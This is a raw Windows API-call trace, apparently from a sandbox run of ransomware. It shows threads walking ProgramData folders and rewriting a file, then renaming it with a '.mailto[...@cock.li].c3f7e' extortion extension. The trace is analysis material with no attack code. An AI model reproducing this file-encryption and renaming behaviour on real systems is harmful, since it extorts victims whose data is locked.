	[0090.877] WriteFile (in: hFile=0x1540, lpBuffer=0x50b1090*, nNumberOfBytesToWrite=0x3a7c, lpNumberOfBytesWritten=0xd93faa0, lpOverlapped=0x0 | out: lpBuffer=0x50b1090*, lpNumberOfBytesWritten=0xd93faa0*=0x3a7c, lpOverlapped=0x0) returned 1
	[0090.880] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47317e0
	[0090.880] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731920
	[0090.880] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731920) returned 1
	[0090.880] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50b1090) returned 1
	[0090.880] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50a4888) returned 1
	[0090.880] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82dd8) returned 1
	[0090.880] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfab68) returned 1
	[0090.880] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x21) returned 0x2d77ea0
	[0090.880] SetFilePointerEx (in: hFile=0x1540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.880] WriteFile (in: hFile=0x1540, lpBuffer=0x47169c8*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0xd93fb08, lpOverlapped=0x0 | out: lpBuffer=0x47169c8*, lpNumberOfBytesWritten=0xd93fb08*=0x105, lpOverlapped=0x0) returned 1
	[0090.882] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47169c8) returned 1
	[0090.882] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77f00) returned 1
	[0090.882] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731808) returned 1
	[0090.882] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77ea0) returned 1
	[0090.882] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47317e0) returned 1
	[0090.882] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731c68) returned 1
	[0090.882] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47318a8) returned 1
	[0090.882] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b00) returned 1
	[0090.882] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x4895720
	[0090.882] wcscpy (in: _Dest=0x4895720, _Source="C:\\ProgramData\\Microsoft\\MF\\Active.GRL" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\Active.GRL") returned="C:\\ProgramData\\Microsoft\\MF\\Active.GRL"
	[0090.882] wcscat (in: _Dest=0x4895720, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\Active.GRL.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\MF\\Active.GRL.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0090.882] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xd93fac0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\MF\\Active.GRL.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0090.882] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x481ba08
	[0090.883] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ba08) returned 1
	[0090.883] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f850) returned 1
	[0090.883] NtQueryInformationFile (in: FileHandle=0x1540, IoStatusBlock=0xd93facc, FileInformation=0xd93faa4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xd93facc, FileInformation=0xd93faa4) returned 0x0
	[0090.883] NtSetInformationFile (FileHandle=0x1540, IoStatusBlock=0xd93facc, FileInformation=0xd93faa4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0090.884] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895720) returned 1
	[0090.884] FlushFileBuffers (hFile=0x1540) returned 1
	[0093.273] CloseHandle (hObject=0x1540) 

Thread:
	id = 306
	os_tid = 0x132c

	[0076.845] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2dac790
	[0076.845] wcscpy (in: _Dest=0x2dac790, _Source="C:\\ProgramData\\Microsoft\\NetFramework" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework") returned="C:\\ProgramData\\Microsoft\\NetFramework"
	[0076.845] wcscat (in: _Dest=0x2dac790, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\") returned="C:\\ProgramData\\Microsoft\\NetFramework\\"
	[0076.845] wcscat (in: _Dest=0x2dac790, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\*") returned="C:\\ProgramData\\Microsoft\\NetFramework\\*"
	[0076.845] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e13e28
	[0076.845] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\*", lpFindFileData=0x2e13e28 | out: lpFindFileData=0x2e13e28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87b38
	[0080.016] wcscmp (_String1=".", _String2=".") returned 0
	[0080.016] FindNextFileW (in: hFindFile=0x2d87b38, lpFindFileData=0x2e13e28 | out: lpFindFileData=0x2e13e28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.016] wcscmp (_String1="..", _String2=".") returned 1
	[0080.016] wcscmp (_String1="..", _String2="..") returned 0
	[0080.016] FindNextFileW (in: hFindFile=0x2d87b38, lpFindFileData=0x2e13e28 | out: lpFindFileData=0x2e13e28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1
	[0080.016] wcscmp (_String1="BreadcrumbStore", _String2=".") returned 1
	[0080.016] wcscmp (_String1="BreadcrumbStore", _String2="..") returned 1
	[0080.016] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x47541f0
	[0080.016] wcscpy (in: _Dest=0x47541f0, _Source="C:\\ProgramData\\Microsoft\\NetFramework" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework") returned="C:\\ProgramData\\Microsoft\\NetFramework"
	[0080.016] wcscat (in: _Dest=0x47541f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\") returned="C:\\ProgramData\\Microsoft\\NetFramework\\"
	[0080.016] wcscat (in: _Dest=0x47541f0, _Source="BreadcrumbStore" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore"
	[0092.019] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d83198
	[0092.019] wcscpy (in: _Dest=0x2d83198, _Source="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore"
	[0092.019] wcscat (in: _Dest=0x2d83198, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\") returned="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\"
	[0092.019] wcscat (in: _Dest=0x2d83198, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*") returned="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*"
	[0092.019] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f700
	[0092.019] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b4e8
	[0092.019] wcscmp (_String1=".", _String2=".") returned 0
	[0092.019] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.019] wcscmp (_String1="..", _String2=".") returned 1
	[0092.019] wcscmp (_String1="..", _String2="..") returned 0
	[0092.019] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0092.019] FindClose (in: hFindFile=0x477b4e8 | out: hFindFile=0x477b4e8) returned 1
	[0092.019] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f700) returned 1
	[0092.019] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83198) returned 1
	[0092.019] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47541f0) returned 1
	[0092.019] FindNextFileW (in: hFindFile=0x2d87b38, lpFindFileData=0x2e13e28 | out: lpFindFileData=0x2e13e28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 0
	[0092.019] FindClose (in: hFindFile=0x2d87b38 | out: hFindFile=0x2d87b38) returned 1
	[0092.020] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e13e28) returned 1
	[0092.020] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac790) returned 1
	[0092.020] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85a20) returned 1

Thread:
	id = 307
	os_tid = 0x131c

	[0076.846] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x46) returned 0x2db0330
	[0076.846] wcscpy (in: _Dest=0x2db0330, _Source="C:\\ProgramData\\Microsoft\\Network" | out: _Dest="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network"
	[0076.846] wcscat (in: _Dest=0x2db0330, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\") returned="C:\\ProgramData\\Microsoft\\Network\\"
	[0076.846] wcscat (in: _Dest=0x2db0330, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\*") returned="C:\\ProgramData\\Microsoft\\Network\\*"
	[0076.846] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e15168
	[0076.846] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\*", lpFindFileData=0x2e15168 | out: lpFindFileData=0x2e15168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87978
	[0080.008] wcscmp (_String1=".", _String2=".") returned 0
	[0080.008] FindNextFileW (in: hFindFile=0x2d87978, lpFindFileData=0x2e15168 | out: lpFindFileData=0x2e15168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.008] wcscmp (_String1="..", _String2=".") returned 1
	[0080.008] wcscmp (_String1="..", _String2="..") returned 0
	[0080.008] FindNextFileW (in: hFindFile=0x2d87978, lpFindFileData=0x2e15168 | out: lpFindFileData=0x2e15168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1
	[0080.008] wcscmp (_String1="Connections", _String2=".") returned 1
	[0080.008] wcscmp (_String1="Connections", _String2="..") returned 1
	[0080.008] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4780508
	[0080.008] wcscpy (in: _Dest=0x4780508, _Source="C:\\ProgramData\\Microsoft\\Network" | out: _Dest="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network"
	[0080.008] wcscat (in: _Dest=0x4780508, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\") returned="C:\\ProgramData\\Microsoft\\Network\\"
	[0080.008] wcscat (in: _Dest=0x4780508, _Source="Connections" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections") returned="C:\\ProgramData\\Microsoft\\Network\\Connections"
	[0092.073] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x4733800
	[0092.073] wcscpy (in: _Dest=0x4733800, _Source="C:\\ProgramData\\Microsoft\\Network\\Connections" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections") returned="C:\\ProgramData\\Microsoft\\Network\\Connections"
	[0092.073] wcscat (in: _Dest=0x4733800, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections\\") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\"
	[0092.073] wcscat (in: _Dest=0x4733800, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections\\*") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\*"
	[0092.073] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5030f10
	[0092.073] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b5a8
	[0092.073] wcscmp (_String1=".", _String2=".") returned 0
	[0092.073] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.073] wcscmp (_String1="..", _String2=".") returned 1
	[0092.073] wcscmp (_String1="..", _String2="..") returned 0
	[0092.073] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cm", cAlternateFileName="")) returned 1
	[0092.073] wcscmp (_String1="Cm", _String2=".") returned 1
	[0092.073] wcscmp (_String1="Cm", _String2="..") returned 1
	[0092.073] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733c78
	[0092.073] wcscpy (in: _Dest=0x4733c78, _Source="C:\\ProgramData\\Microsoft\\Network\\Connections" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections") returned="C:\\ProgramData\\Microsoft\\Network\\Connections"
	[0092.074] wcscat (in: _Dest=0x4733c78, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections\\") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\"
	[0092.074] wcscat (in: _Dest=0x4733c78, _Source="Cm" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm"
	[0092.074] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x47ed1b0
	[0092.074] wcscpy (in: _Dest=0x47ed1b0, _Source="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm"
	[0092.074] wcscat (in: _Dest=0x47ed1b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm\\") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm\\"
	[0092.074] wcscat (in: _Dest=0x47ed1b0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm\\*") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm\\*"
	[0092.074] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5030a40
	[0092.074] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm\\*", lpFindFileData=0x5030a40 | out: lpFindFileData=0x5030a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0092.078] wcscmp (_String1=".", _String2=".") returned 0
	[0092.078] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x5030a40 | out: lpFindFileData=0x5030a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.078] wcscmp (_String1="..", _String2=".") returned 1
	[0092.078] wcscmp (_String1="..", _String2="..") returned 0
	[0092.078] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x5030a40 | out: lpFindFileData=0x5030a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0092.078] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0092.078] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5030a40) returned 1
	[0092.078] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ed1b0) returned 1
	[0092.078] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733c78) returned 1
	[0092.078] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CM_old", cAlternateFileName="")) returned 1
	[0092.078] wcscmp (_String1="CM_old", _String2=".") returned 1
	[0092.078] wcscmp (_String1="CM_old", _String2="..") returned 1
	[0092.078] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x68) returned 0x47ecb90
	[0092.078] wcscpy (in: _Dest=0x47ecb90, _Source="C:\\ProgramData\\Microsoft\\Network\\Connections" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections") returned="C:\\ProgramData\\Microsoft\\Network\\Connections"
	[0092.078] wcscat (in: _Dest=0x47ecb90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections\\") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\"
	[0092.078] wcscat (in: _Dest=0x47ecb90, _Source="CM_old" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old"
	[0092.078] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x2d83288
	[0092.078] wcscpy (in: _Dest=0x2d83288, _Source="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old"
	[0092.079] wcscat (in: _Dest=0x2d83288, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old\\") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old\\"
	[0092.079] wcscat (in: _Dest=0x2d83288, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old\\*") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old\\*"
	[0092.079] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f700
	[0092.079] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old\\*", lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b5e8
	[0092.085] wcscmp (_String1=".", _String2=".") returned 0
	[0092.085] FindNextFileW (in: hFindFile=0x477b5e8, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.085] wcscmp (_String1="..", _String2=".") returned 1
	[0092.085] wcscmp (_String1="..", _String2="..") returned 0
	[0092.085] FindNextFileW (in: hFindFile=0x477b5e8, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0092.085] FindClose (in: hFindFile=0x477b5e8 | out: hFindFile=0x477b5e8) returned 1
	[0092.085] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f700) returned 1
	[0092.085] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83288) returned 1
	[0092.085] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecb90) returned 1
